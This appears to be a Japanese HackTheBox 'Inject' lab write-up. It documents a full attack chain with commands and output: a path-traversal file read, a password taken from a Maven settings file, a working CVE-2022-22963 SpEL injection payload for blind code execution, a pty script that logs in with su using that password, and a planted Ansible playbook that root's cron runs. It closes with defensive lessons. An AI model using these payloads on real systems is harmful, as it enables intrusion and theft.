HackTheBox: Inject — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Spring Boot)
→
22(SSH)/8080(Spring Boot)
/show_image LFI
6階層の../でroot到達
→
6階層の../でroot到達
settings.xml漏洩
phil:DocPhillovestoInject123
→
phil:DocPhillovestoInject123
CVE-2022-22963 SPEL RCE
frank権限ブラインドRCE
→
frank権限ブラインドRCE
PTYトリックでsu phil
Python pty.openpty()
→
Python pty.openpty()
user.txt ✓
→
staffグループ書込可能ディレクトリ
/opt/automation/tasks/
→
/opt/automation/tasks/
悪意Ansible playbook配置
root cronが自動実行
→
root cronが自動実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & サイト確認
BASH
nmap -sV -sC -p 22,8080 10.129.228.213 curl -s http://10.129.228.213:8080/ | grep title
RESULT
PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy <title>Home</title> (「Zodd Cloud」という画像アップロード/表示サービス)
ℹ️
Spring Boot製のWebアプリで、ユーザーがアップロードした画像を
/show_image?img=<filename>で表示する機能を持つ。
このパラメータがパストラバーサル対策なしでファイルシステムパスに
直結している疑いが強い。
PHASE 2
/show_image エンドポイントのLFIで資格情報とバージョンを収集
パストラバーサルの深さを調整して/etc/passwdを読む
BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
ℹ️
画像のアップロード先が
/var/www/WebApp/src/main/uploads/という
6階層分深いパスのため、ファイルシステムルートに到達するには
6回分の../が必要。浅い回数では失敗しHTTP 500の
JSONエラー({"timestamp":...})が返るため、500応答は「LFI失敗」の
判定条件として使える。
Mavenの settings.xml から資格情報を窃取
BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../home/frank/.m2/settings.xml"
RESULT
<server> <id>Inject</id> <username>phil</username> <password>DocPhillovestoInject123</password> <privateKey>${user.home}/.ssh/id_dsa</privateKey> </server>
🚨
Webプロセスがユーザー
frankとして動いているため、
/home/frank/配下のMaven設定ファイルを読み取ることができ、
そこに平文の資格情報phil:DocPhillovestoInject123
がハードコードされている。
pom.xmlでSpring Cloud Functionのバージョンを確認
BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml" \ | grep -A2 spring-cloud-function
RESULT
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
🚨
spring-cloud-function-web 3.2.2はCVE-2022-22963
(Spring Cloud Function SPELインジェクション)の既知脆弱バージョン。
PHASE 3
CVE-2022-22963: Spring Cloud Function SPELインジェクション
脆弱性の概要とペイロード構造
NOTE
Spring Cloud Function 3.1.6 / 3.2.2 以前は、HTTPヘッダー "spring.cloud.function.routing-expression" の値をSpEL(Spring Expression Language)式として評価してルーティング先関数を決定する。この評価処理が ユーザー制御のヘッダー値に対して無検証で実行されるため、 T(java.lang.Runtime).getRuntime().exec(...) のようなSpEL式を注入すると 任意のOSコマンドを実行できる。
BASH (id を実行して確認)
B64=$(echo -n "id > /tmp/rce_test.txt" | base64 -w0)
SPEL="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"{echo,${B64}}|{base64,-d}|{bash,-i}\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
-H "spring.cloud.function.routing-expression: ${SPEL}" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "data=test"
# 実行結果はファイル経由でLFIから読む(ブラインドRCE)
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/rce_test.txt"
RESULT
{"timestamp":"...","status":500,"error":"Internal Server Error",
"message":"EL1001E: Type conversion problem, cannot convert from
java.lang.ProcessImpl to java.lang.String", ...}
→ LFIで /tmp/rce_test.txt を読むと:
uid=1000(frank) gid=1000(frank) groups=1000(frank)
✅
HTTPレスポンス自体は常に500エラーになる
(
Runtime.exec()の戻り値であるProcessオブジェクトを
アプリがString型に変換しようとして例外が発生するため)が、
この例外が発生する前にコマンドの実行自体は完了しているため、
実質的なブラインドRCEとして機能する。実行結果はコマンド内で
/tmpにリダイレクトし、既存のLFI脆弱性で読み出して確認する
という「2つの脆弱性を組み合わせた」確認方法。
PHASE 4
PTYトリックでsu phil & user.txt取得
なぜ直接SSHできないか
NOTE
philのSSHパスワード認証は無効化されている(確認すると拒否される)。 また frank の RCE はパスワード無しのブラインドシェルで、そのままでは 対話的な su が使えない(TTYが無い)。そこでフェーズ3のRCEから Pythonのpty.openpty()で疑似端末を作り、その上でsuを実行する。
PTY経由でsuを実行するPythonスクリプトを配置
PYTHON (su_phil.py)
import os, pty, subprocess, time
master, slave = pty.openpty()
p = subprocess.Popen(["su", "-c", "cat /home/phil/user.txt > /tmp/user_out.txt", "phil"],
stdin=slave, stdout=slave, stderr=slave, close_fds=True)
time.sleep(0.5)
os.write(master, b"DocPhillovestoInject123\x0a") # \x0a=改行(bytesリテラル)
time.sleep(2.5)
p.wait(timeout=15)
os.close(master)
os.close(slave)
⚠️
実装上の注意点: パスワードを渡すbytesリテラル内で
改行を表現する際、f-string内に素の
\nを書くと実際の改行文字として
解釈されてSyntaxErrorになる(文字列リテラルが途中で終わってしまう)。
必ず\x0aのようなエスケープ表記を使う。
BASH (base64で配置して実行)
B64=$(base64 -w0 su_phil.py)
SPEL="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",
\"echo ${B64}|base64 -d>/tmp/su_phil.py\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
-H "spring.cloud.function.routing-expression: ${SPEL}" -d "data=test"
# 続けて実行
B64CMD=$(echo -n "python3 /tmp/su_phil.py" | base64 -w0)
SPEL2="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",
\"{echo,${B64CMD}}|{base64,-d}|{bash,-i}\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
-H "spring.cloud.function.routing-expression: ${SPEL2}" -d "data=test"
LFIでuser.txtを読み出す
BASH
# 数秒待ってsuの完了を待つ curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/user_out.txt"
RESULT
d2f270799d932e29ab60f9e73193f0d2
user.txt — phil (RCE+su+LFI経由)
d2f270799d932e29ab60f9e73193f0d2
PHASE 5
staffグループ書込可能なAnsible自動実行ディレクトリを発見
philの所属グループと/opt/automation/tasksの権限確認
NOTE
同じRCE+PTYの仕組みで "id phil; ls -la /opt/automation/tasks/" を実行し、 結果ファイルをLFIで読む。
RESULT
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff) drwxrwxr-x 2 root staff 4096 ... . -rw-r--r-- 1 root root 150 ... playbook_1.yml
🚨
philが所属する
staffグループに、
/opt/automation/tasks/への書込権限(rwx)が与えられている。
既存のplaybook_1.yml(root所有)の中身も読んでみると、
ansible.builtin.systemdでwebappサービスの状態を確認する
通常運用のAnsible playbookであることがわかる — つまり
rootが定期的にこのディレクトリ内の.ymlファイルを
ansible-playbookで実行している(cron運用)と推測できる。
PHASE 6
悪意あるAnsible playbookを配置 & root.txt取得
root.txtをコピーするplaybookを作成
BASH (inject_pwn.yml)
- hosts: localhost
tasks:
- name: copy root flag
ansible.builtin.shell: "cp /root/root.txt /tmp/rf.txt && chmod 644 /tmp/rf.txt"
PTYトリックでphilとして正式な書込権限を使い配置
PYTHON (su_phil_deploy.py)
import os, pty, subprocess, time
master, slave = pty.openpty()
p = subprocess.Popen(["su", "-c",
"cp /tmp/inject_pwn.yml /opt/automation/tasks/inject_pwn.yml", "phil"],
stdin=slave, stdout=slave, stderr=slave, close_fds=True)
time.sleep(0.5)
os.write(master, b"DocPhillovestoInject123\x0a")
time.sleep(2.5)
p.wait(timeout=15)
os.close(master)
os.close(slave)
open("/tmp/deploy_ok.txt","w").write("done")
ℹ️
frankはWebプロセスの実行ユーザーでありstaffグループではないため
直接このディレクトリに書き込めない。philにsuしてから
コピーすることで、staffグループの書込権限を正しく行使する。
BASH (配置確認)
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../opt/automation/tasks/inject_pwn.yml"
RESULT
- hosts: localhost
tasks:
- name: copy root flag
ansible.builtin.shell: "cp /root/root.txt /tmp/rf.txt && chmod 644 /tmp/rf.txt"
✅
配置成功を確認。root所有ディレクトリ内に自分のplaybookが
正しく書き込まれている。
cronによるansible-playbook自動実行を待ち、root.txtをLFIで取得
BASH
for i in $(seq 1 12); do
out=$(curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/rf.txt")
echo "$out" | grep -qE '^[a-f0-9]{32}$' && { echo "$out"; break; }
sleep 30
done
RESULT
attempt 1: not yet
attempt 2: not yet
=== ROOT FLAG FOUND on attempt 3 ===
5ac18d2cee455279073b06ab910fa9fd
✅
数十秒〜1分少々でrootのcronが
/opt/automation/tasks/内の全.ymlを
ansible-playbookで実行し、仕込んだshellタスクがroot権限で実行され
/root/root.txtを世界読み取り可能な/tmpにコピーした。
あとは既存のLFI脆弱性で普通に読み出すだけでよい。
root.txt — root (Ansible playbook自動実行経由)
5ac18d2cee455279073b06ab910fa9fd
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — phil
d2f270799d932e29ab60f9e73193f0d2
root.txt — root
5ac18d2cee455279073b06ab910fa9fd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサル(LFI) | /show_image?img= エンドポイント | サーバー上の任意ファイル読み取り | Critical | アップロードディレクトリの深さに合わせた6階層分の../で任意パスへ到達 |
| 設定ファイルへの資格情報ハードコード | /home/frank/.m2/settings.xml | SSH/su用資格情報の漏洩 | High | LFIでMaven設定ファイルを読み、phil用の平文パスワードを窃取 |
| CVE-2022-22963 (Spring Cloud Function SPELインジェクション) | spring-cloud-function-web 3.2.2 | リモートコード実行(frank権限) | Critical | spring.cloud.function.routing-expressionヘッダーにRuntime.exec()を注入するSpEL式を送信 |
| root cronによるAnsible playbook自動実行 + グループ書込可能ディレクトリ | /opt/automation/tasks/ (staffグループ書込可) | 権限昇格(一般ユーザー → root) | Critical | 任意のshellタスクを含むplaybookを配置し、root権限での定期実行を悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22(SSH)/8080(Spring Boot “Zodd Cloud”) |
| 2 | LFI情報収集 | 6階層トラバーサル | phil:DocPhillovestoInject123、Spring Cloud Function 3.2.2 |
| 3 | RCE | CVE-2022-22963 SPEL注入 | frank権限でのブラインドコマンド実行 |
| 4 | フットホールド | PTYトリックでsu phil | user.txt(phil) |
| 5 | 権限調査 | グループ・ディレクトリ権限確認 | staffグループ書込可能な自動実行ディレクトリ発見 |
| 6 | 権限昇格 | 悪意Ansible playbook配置 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ファイル表示エンドポイントがユーザー入力をパストラバーサル対策なしでファイルパスに結合している | ファイル名はホワイトリスト検証(許可拡張子・basename()による正規化)を必須とし、固定ディレクトリ外へのアクセスをプログラム的に禁止する。 |
| 設定ファイル(settings.xml)に平文の資格情報がハードコードされている | 資格情報はCI/CDの環境変数やシークレットマネージャーで管理し、リポジトリ/設定ファイルに含めない。 |
| 既知CVEを含む古いバージョンのライブラリ(Spring Cloud Function)を使用 | 依存ライブラリは定期的に更新し、脆弱性スキャナーでCVEの有無を継続監視する。 |
| 一般ユーザーが所属するグループにroot自動化ジョブの入力ディレクトリへの書込権限が付与されている | root権限で実行する自動化ツール(Ansible等)の入力ファイルは、信頼できないユーザーが書き込めるディレクトリから隔離する。最小権限の原則でグループ所属を見直す。 |

